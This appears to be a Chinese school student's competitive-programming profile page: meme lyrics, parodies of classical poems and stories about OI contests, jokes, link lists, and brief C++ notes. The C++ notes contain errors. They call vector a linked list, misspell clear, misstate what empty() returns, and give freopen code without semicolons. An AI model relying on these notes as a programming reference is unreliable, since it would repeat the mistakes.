<<审判者>> 都是被告人 你额头的伤口，你的手上，表明一切 他们说，要带着律师，去减少每一个罪行 他们说，要带好证词，去和法官争辩 为何手铐不能摘下，却在我受伤的手上带着 谁说手铐不能是玫瑰金的 (啊!)爱你孤身走法庭，爱你被判的模样 爱你对峙过法官，不肯你败诉 爱你破烂的草鞋，却敢堵法官的嘴 爱你和我那么像，手铐都一样 一诉，二诉，二诉完再三诉 败诉，再败，没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 他们说，要戒掉你的瘾，就像擦去了记录 他们说，要顺法院而上，而代价是败诉 那就让我不可逆转，你一样骄傲着那种犯罪 谁说杀人平凡的，不算英雄 (啊!)爱你孤身走法庭，爱你被判的模样 爱你对峙过法官，不肯你败诉 爱你破烂的草鞋，却敢堵法官的嘴 爱你和我那么像，手铐都一样 一诉，二诉，二诉完再三诉 败诉，再败，没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判 (你的反驳，震耳欲聋) (你的喧哗，响彻法庭) 他们说，要戒掉你的瘾，就像擦去了记录 他们说，要顺法院而上，而代价是败诉 那就让我不可逆转，你一样骄傲着那种犯罪 谁说杀人平凡的，不算英雄 (啊!)爱你孤身走法庭，爱你被判的模样 爱你对峙过法官，不肯你败诉 爱你来自于重庆，一生杀掉很多人 你将造你的堡垒，在法庭之上 一诉，二诉，二诉完再三诉 败诉，再败，没一个胜诉 致那法庭里的呜咽与怒吼 谁说站在法庭里的才算被判

模拟只会猜题意，贪心只能过样例； 数学上来先打表，DP一般看规律； 组合数学靠运气，计算几何瞎暴力； 图论强行套模板，数论只会GCD； 递推莫名UKE，递归堆栈往外溢； 深搜茫然TLE，广搜队列MLE； 二分查找总CE，叉堆结果必RE； 高精算法找规律，做完全都OLE； 数据结构干瞪眼，水题也都WA; 长知识也不容易，考试一来全懵Ｂ！

试卷，一种新型毒品 多呈白色，常见于学校 现已使无数学校上瘾，丧心病狂 使无数学霸沉迷其中，无法自拔 使无数学渣失眠多梦，头晕眼花 它破坏了多少个家庭的和谐 为了它能使一个考生跳楼自杀 又在毒害着多少人的精神世界…… 远离试卷，从娃娃抓起 杜绝试卷，从我做起 没有买卖，就没有杀害

https://world.xiaomawang.com/w/index

或许吧

人类是没有极限的啊！！ 在黎明到来之前总有人要微微照亮一下黑暗

I'm Zhang Xiaoci, and the guy behind me is an idiot。私は犬の犬です。痛みを感じ、痛みを考えてください。旋風エースブレードホットメタルムーンゴッドトリガー。I am Enterprise aircraft carrier's dog。ЯТашганСобака。Ich bin der Hund des Z23 -Zerstörers。 梦想一心，无想的一刀。此刻，寂灭之时。 吾即幽夜净土的断罪皇女，聆听我的呼唤吧！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ 无论是谁，都没有夺走他人愿望的资格。即使是神，也不行！！！！！！ 直面恐惧，创造未来。我们将为了千百种善，犯下一个不可饶恕的罪恶。 即使是死的时候，也还在青春吗？你再说什么啊，那时，才是青春的最高潮！！！此刻，正是守护重要之人的时刻，我的青春没有后悔！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ 与复制了上千种忍术的我对敌，你毫无胜算！！！！没受伤吧！！！！我们都是已经死去的人了，就不要再去干涉现在的人们了（我们都是V15了，就不要再去干涉V0的世界了）

游戏

我的世界

友链

刺客信条（游戏）

1234567

存档1

存档2

123456789101112

芝士点 另一个

100

飞映网

https://www.luogu.com.cn/discuss/589108

http://digdig.io/

文字

https://yandex.com/games/

神帖

大佬

色卡

仙贝

好玩的

+1

+1

不好玩的

ChatGPT

奇葩的题

洛谷词典

日爆检测器

画一只只因

一堆入门题

好van的图片

好van的帖子

好van的段子

《OI害人不浅》

奇葩代码合集

洛谷日爆检测器

让我帮你百度一下

自己搞的一些神奇帖子

nb人

一些有趣 || 奇怪 || 好用 || 摸鱼 的网站

OJ

B站

洛谷

CSDN

百度~优先搜索~

瞎 搞 区

玛 卡 巴 卡

点我

a game

点我

O r z

倒 计 时

心 灵 鸡 汤

100%的人生

假如让 A=1%，B=2%……Z=26%。那么：
Knowledge:K+N+O+W+L+E+D+G+E=11+14+15+
23+12+5+4+7+5=96%
Workhard:W+O+R+K+H+A+R+D=23+15+18+11+
8+1+18+4=98%
也就是说知识和努力工作对我们人生的影响可以达到96％和98％。
Luck:L+U+C+K=12+21+3+11=47%
Love:L+O+V+E=12+15+22+5=54%
看来，这些我们通常认为重要的东西却并没起到最重要的作用。
那么，什么可以决定我们100％的人生呢？
是金钱吗？
Money:M+O+N+E+Y=13+15+14+5+25=72%
看来不是。
是权力吗？     
Power:P+O+W+E+R=16+15+23+5+18=77%
也不是。
金钱，权力也不能完全决定我们的生活。那是什么呢  
其实，真正能使我们生活圆满的东西就在我们的代码里面        
iostream (输入输出流头文件)：
I+O+S+T+R+E+A+M=9+15+19+20+18+5+1+13=100%            
所以坚持写代码吧......

Copy

Copy

Copy

蒟蒻的生活

模拟只会猜题意，贪心只能过样例；
数学上来先打表，DP一般看规律；
组合数学靠运气，计算几何瞎暴力；
图论强行套模板，数论只会GCD；
递推莫名UKE，递归堆栈往外溢；
深搜茫然TLE，广搜队列MLE；
二分查找总CE，叉堆结果必RE；
高精算法找规律，做完全都OLE；
数据结构干瞪眼，水题也都WA;
长知识也不容易，考试一来全懵Ｂ！

暴力出奇迹， 打表过样例。
数学先打表， ＤＰ看运气。        
穷举ＴＬＥ， 递推ＵＫＥ。       
模拟ＭＬＥ， 贪心还ＣＥ。
想要骗到分， 就要有方法。
图论背模板， 数论背公式。
动规背方程， 高精背代码。
如果都没背， 干脆输样例。

刷题是一种出路，
枚举是一种思想，
打表是一种勇气，
搜索是一种信仰，
剪枝是一种精神，
骗分是一种日常，
爆零是一种宿命，
WA是一种绝望，
TLE是一种痛苦，
吊打是一种必然，
RE是一种放弃，
UKE是一种无奈，
AC是一种原谅，
AK是一种理想，
弃赛是一种颓废，
进队是一种奢望，
CSP是一种幻想，
NOI是至高境界，
ACM是神仙比赛，
CTSC做梦都过不去。
           
昔人已乘网络去，
此地空余网络流。
网络一去不复返,
代码千行空悠悠。
深搜历历TLE，
广搜萋萋MLE。
最大流它何处是，
费用流它使人愁。

十年OI一场空， 不开long long见祖宗。

Copy

Copy

Copy

西江月·夜行黄沙道中

明月别枝惊鹊，清风半夜鸣蝉。
稻花香里说AC,听取WA声一片。
七八个TLE外，两三点RLE前。
旧时茅店CE边，路转西桥忽见。

Copy

Copy

Copy

新《满江红》

怒发冲冠，凭栏处、潇潇雨歇。
抬望眼，满天UKE，怒火激烈。
三十WA尘与土，八千RE云和月。
莫抄袭，没了AC记录，空悲切！
CE耻，犹未雪。蒟蒻恨，何时灭！
驾电脑，踏破题目列表。
闭眼不会Hello world，笑谈不懂头文件。
待从头、收拾A+B，还不会。
## 《将进酒》程序版
君不见，OJ之题天上来，复杂到海不舍回。
君不见，高堂明镜悲白发，朝如青丝暮成雪。
人生重在写算法，莫使电脑空对题。
天生OJ必有用，千方百计还CE。
AC一点且为乐，会须一刷三百WA。
吾团友，牛大佬，
将刷题，手莫停！！！

Copy

Copy

Copy

《陈乙己》

我从十二岁起，便在洛谷的蒟蒻餐厅里当伙计，kkk说，样子太傻，怕侍候不了专职开发，就在外面做点事罢。
外面的翻译管理，虽然容易说话，但唠唠叨叨缠夹不清的也很不少。
他们往往要亲眼看着一个字一个字审核过，看过到底是不是机翻，又亲看将确认翻译按下，然后放心：在这严重监督下，摸鱼也很为难。
所以过了几天，kkk又说我干不了这事。幸亏darkflames的情面大，辞退不得，便改为专管犇犇的一种无聊职务了。
我从此便整天的坐在电脑前，专管我的职务。虽然没有什么失职，但总觉得有些单调，有些无聊。
kkk是一副凶脸孔，darkflames也没有好声气，教人活泼不得；只有陈乙己到店，才可以笑几声，所以至今还记得。 陈乙己是站着打比赛而AK的唯一的人。
他身材很粗壮；稚气面孔，双眼里时常放出聪颖的光。
………… 因为他姓陈，别人便从描红纸上的“上巨佬陈乙己”这半懂不懂的话里，替他取下一个绰号，叫作陈乙己。
陈乙己一到店，所有打比赛的人便都看着他笑，有的叫道，“陈乙己，你又AC了一道蓝题！” 他不回答，对柜里说，“两道IOI2018，要一打省选+。”
便排出戴尔ALIENWARE。 他们又故意的高声嚷道，“chenzhe AK IOI！”
陈乙己睁大眼睛说，“你怎么这样凭空污人清白……” “什么清白？我前天亲眼见你半个小时写完IOI，把其他人吊着打。”
陈乙己便涨红了脸，额上的青筋条条绽出，争辩道，“写完不能算AK……我菜！……初学者的事，能算AK么？”
接连便是难懂的话，什么“比赛真难”，什么“蒟蒻”之类，引得众人都哄笑起来：店内外充满了快活的空气。
…………………… “集训队的人脑子发昏，竟然偷到cz那里去了，他家的题，偷得的吗”“后来怎样呢”“被chenzhe打，吊着打” ……………………

Copy

Copy

Copy

《写代码的小女孩》

天冷极了，下着雪，又快黑了。 这是NOIP的前夜。在这又冷又黑的晚上，一个衣衫破烂的小女孩在机房敲着代码。
她从班里逃出来的时候还拿着一本算导，但是有什么用呢？ 那是一本很破旧的书——那么大，一向是她妈妈垫桌角的。 
她默写SPFA的时候，年级主任突然冲进机房，吓得她把算导都丢掉了。 书叫一个学数竞捡起来拿着跑了。
他说，他可以用那本书当草纸，证明切比雪夫定理。 小女孩只好自己写二叉堆，一双小脚冻得红一块青一块的。 
她面前的草纸堆得满满的，上面全是DP转移方程。 这一整天，没有一个OJ让她AC一道题，她已经交了32遍采药了。可怜的小女孩！ 
她又冷又饿，浑身战栗地写着二叉堆。CRT显示器发出的光落在她的枯黄的长头发上，那干枯的头发打成卷儿披在肩上，看上去就像二叉树，不过她没注意这些。
每个显示器里都透出光来，机房里飘着一股CPU发糊的怪味，因为这是NOIP前夜——她可忘不了这个。她在主函数前面停了下来，蜷着趴在键盘上。
她觉得更冷了。她不敢回家，因为她还没调完二叉堆，没写对一个DP方程，教练一定会骂她的。再说，换成别的数据结构，一样写不出来。
这些题都太水，虽然神犇都写过题解了，但是题解上一般都只有三个字：傻X题。她几乎绝望了。
啊，哪怕一个函数不会RE，对她也是有好处的！她每写一遍程序，跑出来的结果就不一样，要是她有数据，她就知道哪一个程序是算对了的。
她得不到数据了，因为机房上不去网了，全校的网速都让隔壁的年级主任拿来下小电影了。
如果能保证下一个程序能AC，她就敢再写几十KB的代码，但是她是不敢啊，她怕又算出来一个奇葩的结果来。她新建了一个cpp重写了程序。
编译通过了，样例过了。这次，她感觉自己站在IOI的考场中AK。学校的大门上，贴着“我校学生以国际金牌向110周年校庆献礼”的条幅。
在班级内的非诚勿扰中，全班男生都给她留了灯。这时候，程序又RE了，她面前只有cmd上的黑底白字。她又写了一道模拟。
这一回，她坐在美丽的二叉堆下。这棵二叉堆，比她在丽洁代码中看到的常数还要小，还要短。
眼前是许多优美动人的ASCII码，那些都是她写的程序，各种可爱的指针在跳跃着，满世界都是系统栈，都在向她眨眼睛。小女孩向眼前的系统栈伸出手去。
这时候，眼前的ASCII码还在，条幅还在，指针还在，年级主任还是和蔼地微笑着。只见那些代码那些指针越升越高越升越高，最后成了在天空中闪烁的星星。
有一颗星星落下来了，在天空中划出了一道细长的红光。“有一个什么人快要死了。” 小女孩说。
唯一疼她的学姐保送之前告诉过她：一颗星星落下来，就有一个灵魂要到上帝那儿去了。她notepad++中又写了一个快排。这一回，她把能用的IDE都用了。
学姐出现在亮光里，是那么温和，那么快乐。“学姐！” 
小女孩叫起来，“啊！请把我带走吧！我知道，系统栈一溢出，您就会不见的，像那校门的条幅，浮点数的精度，循环队列的空间一个样，就会不见的！” 
她赶紧编译了5KB的高精度模板，要把学姐留住。一大把程序发出强烈的光，把机房照得跟白天一样明亮。学姐从来没有像现在这样温柔，这样美丽。
她把小女孩抱起来，搂在怀里。她们俩在光明和快乐中飞走了，越飞越高，飞到那没有DP，没有图论，也没有数据结构的地方去了。
第二天清晨，这个小女孩坐在机房里，两腮通红，嘴上带着微笑。她死了，在NOIP的前夜死了。NOIP Day1的太阳升起来了，照在她小小的尸体上。
小女孩坐在那儿，显示器上还有一堆编译过的代码。“她想好好复习复赛。” 人们说。
谁也不知道她曾经看到过多么美丽的东西，她曾经多么幸福，跟着她学姐一起走向新世界的幸福中去。

Copy

Copy

Copy

《望AC》

代码夫如何， AC 青未了。
DP 知方程，键盘光标舞。
贪心最优解，二分加打表。
暴力还 AC ，二叉不得了。

Copy

Copy

Copy

《再别机房》

轻轻的，我走了
正如我，轻轻的来；
我轻轻的，招手
告别信息竞赛。
那桌上的屏幕，
是主机的新娘；
开机时的蓝屏，
在我的心头荡漾。
地上的食物，
油油的，在底下招摇；
在机房的柔波里，
我甘心做一台电脑！
那教学楼下的一潭，
不是清泉，是天上虹；
揉碎在浮藻间，
沉淀着oier的梦。
寻梦？要打开emacs，
向难题，更难处漫溯；
满载一版ac，
打开Windows Media Player,
在星辉斑斓里放歌。
但我不能放歌，
悄悄，是退组的笙箫；
CPU 也为我沉默，
沉默，是今晚的机房！
悄悄的，我走了，
正如我悄悄的，来；
我挥一挥衣袖，
顺走了鼠标与键盘。

Copy

Copy

Copy

《膜你抄》

屏幕在深夜微微发亮
思想在那虚树路径上彷徨
平面的向量交错生长
织成 忧伤的网
剪枝剪去我们的疯狂
SPFA告诉我前途在何方
OI背包装下了忧伤
笑颜 洋溢脸庞
键盘微凉 鼠标微凉
指尖流淌 代码千行
凸包周长 直径多长
一进考场 全都忘光
你在OJ上提交了千百遍
却依然不能卡进那时限
双手敲尽代码也敲尽岁月
只有我一人 写的题解
凋零在OJ里面
tarjan陪伴强联通分量
生成树完成后思路才闪光
欧拉跑过的七桥古塘
让你 心驰神往
队列进出图上的方向
线段树区间修改求出总量
可持久留下的迹象
我们 俯身欣赏
数论算法 图论算法
高斯费马 树上开花
线性规划 动态规划
时间爆炸 如何优化
我在OI中辗转了千百天
却不让我看AK最后一眼
我用空间换回超限的时间
随重新编译 测完样例
才发现漏洞满篇
原来CE 是因选错语言
其实爆0 只因忘写文件
如果标算太难请坚定信念
不如回头再看一眼题面 以那暴力模拟向正解吊唁
蒟蒻的蜕变 神犇出现
终将与Au擦肩
屏幕在深夜微微发亮
我心在考场

Copy

Copy

Copy

蒟蒻

真 · 膜 拜

分 工 明 确

班长说：走，我们去炸核弹基地
副班长说：这个主意不错。
化学课代表负责提取氢气。
物理课代表负责拼装氢弹。
数学课代表负责计算爆破面积。
地理课代表负责策划爆破地点。
信息课代表负责编写氢弹程序。
历史课代表负责记录光辉场面。
美术课代表负责描画壮观景致。
生物课代表负责事后生态环境。
英语课代表到外国购买进口材料。
政治课代表负责使用法律打官司。
语文课代表负责乱写文章推卸责任。

Copy

Copy

Copy

起 名 鬼 才

一位洗碗的大姐，经常被别人叫阿姨，她嫌弃阿姨不好听，就给自己取了一个特别牛的名字：瓷洗太后。
隔壁补胎的师傅受到启发，给自己取了一个国际范的名字：拿破轮。
电焊工听到，受到启发，也给自己取了一个名字：焊武帝。
一日电焊工去糖果店炫耀自己的名字，老板啦叫他看他的名字：糖太宗。
电焊工看了沉默了。这时一辆粪车路过，发写这三个大字：擒屎皇。
路边捆菜的阿姨行不下去了，叫到你们的名字算什么？
看看我的名字，众人一看这名字取得不一般，大喊到捆菜阿姨的名字：菜需捆！！！
从此，镇上工作的人，再也没有互相比过名字。

Copy

Copy

Copy

评 测 姬

AC=Answer Coarse=粗劣的答案。
WA=Wonderful Answer=好答案。
TLE=Time Limit Enough=时间充裕。
MLE=Memory Limit Enough=内存充裕。
CE=Compile Easily=轻松通过编译。
RE=Run Excellently=完美运行。
UKE=Unbelievablly Keep Enough Score=难以置信地保持足够的分数。
OLE=Output Limit Enough=输出充裕。

Copy

Copy

Copy

关于老师们

语文老师一回头， 此地空余黄鹤楼（鲁迅甘为孺子牛）（水浒好汉来磕头）；
数学老师一回头， 二次函数对称轴（六元六次都能求）；
英语老师一回头， Sorry加上三克油（满口洋文跑地球）；
物理老师一回头， 一根杠杆撬地球（阿基米德要跳楼）；
生物老师一回头， 试管婴儿水中游（人类祖先是猿猴）；
天文老师一回头， 发现黑洞到处有；
历史老师一回头， 秦始皇来打酱油；
地理老师一回头， 大陆版块乱漂流（气候位置好犯愁）（校门前面泥石流）（长江黄河倒着流）（山山水水任你游）；
化学老师一回头， 二氧化碳变汽油；
劳动老师一回头， 破铜烂铁来走秀；
日语老师一回头， 八格亚路很走红；
体育老师一回头， 乔丹改打乒乓球（黛玉也能踢足球）（奥运取消打篮球）；
政治老师一回头， 全班同学都梦游（布什改行卖豆油）；
美术老师一回头， 蒙娜丽莎也风流；
音乐老师一回头， 贝多芬呀也不牛（泉眼叮咚四处流）；
信息老师一回头， 带着学生玩网游；
各科老师一回头， 全体学生没自由。
———————————————————
各科老师被困在电梯里的反应：
语文老师正在写东西。
数学老师开始计算电梯的长宽高。
英语老师开始说起电梯英语单词。
物理老师在计算说几小时空气会呼吸完。
化学老师在检查这个电梯的材质。
生物老师在考虑他们需要的物质比如氧气。
地理老师在计算纬度叫人来救她们。
历史老师开始感慨并回忆之前发生过的类似的事情。
政治老师准备告物业。
体育老师默默无闻走向电梯门口，一脚把门踹开说了句我们走吧！
事实证明体育才是主科！

Copy

Copy

Copy

王警官笑话

http://www.cqwsjds.com/bqg/1684/4157497\_2.html

https://v.uuuab.com/html/62/62991/10/

114514

坑人代码

一堆链接

aiaiai

本台将持续为您播出大型纪录片《诈骗传奇》

123

牛比人士 你值得拥有 好东西 代码

既然你看到了那你就看到了这行字吧

数学是火，点亮物理的灯；物理是灯，照亮化学的路；化学是路，通向生物的坑；生物是坑，埋葬学理的人。 文言是火，点亮历史宫灯；历史是灯，照亮社会之路；社会是路，通向哲学大坑；哲学是坑，埋葬文科生。

   ▄︻┻┳══━一

栈：
stack<int> st;//声明1个栈 st ，用于储存int型变量。
st.push(x);//将表达式x的值入栈

st.pop();//弹出栈顶元素

st.empty();//判断栈st是否为空，空则返回0

st.top();

Copy

队列：

queue<int> qu;//声明1个队列 qu，用于储存int型变量。

qu.push(x);//将表达式x的值入队
  
qu.pop();//弹出队顶元素

Copy

单链表： 
  
vector<int> v;//声明1个向量v ，用于储存int型变量。
  
v.clear();//清空向量。

Copy

双链表：

list<int> li;//声明1个链表li，用于储存int型变量。

li.empty();//判断li是否为空。

li.chear();//清空。

li.front();//返回li的首元素。

li.back();//返回li的尾元素。
别    li.insert(p,x);//在链表的第p个位置处插入x。

用    li.erase(p);//删除链表位置p处的元素。
li.remove(x);//删除链表中所有值等于x的元素。

li.push_back(x);//向链表末尾插入元素x。

li.pop_back();//删除链表末尾元素。

li.push_front(x);//向链表头插入元素x。

li.pop_front();//删除链表首元素。

Copy

快排：
#include<bits/stdc++.h>
using namespace std;
int n,k,a[100005]={0},l=0;
int sp(int l,int r)
{
	k=a[(l+r)/2];
	a[(l+r)/2]=a[l];
	while(l<r)
	{
		while(l<r&&a[r]>k)r--;
		if(l<r)a[l]=a[r],l++;
		while(l<r&&a[l]<k)l++;
		if(l<r)a[r]=a[l],r--;
	}
	a[l]=k;
	return l;
}
void qs(int l,int r)
{
	if(l>=r)return ;
	int p=sp(l,r);
	qs(l,p-1);
	qs(p+1,r);
}
int main()
{
	scanf("%d",&n);
	for(int i=0;i<n;i++) scanf("%d",&a[i]);
	int r=n-1;
	qs(l,r);
	for(int i=0;i<n;i++)printf("%d ",a[i]);
	return 0;
}

Copy

刷题网站

笔记

万能头

#include<bits/stdc++.h>

文件操作：
#include<cstdio>
using namespace std;
int main()
{
   freopen("输入文件名.in","r",stdin)
	freopen("输出文件名.out","w",stdout)
  代码
   fclose(stdout)
   fclose(stdin)
	return 0;
  
}

清空：memset(a,0,sizeof(a));

Copy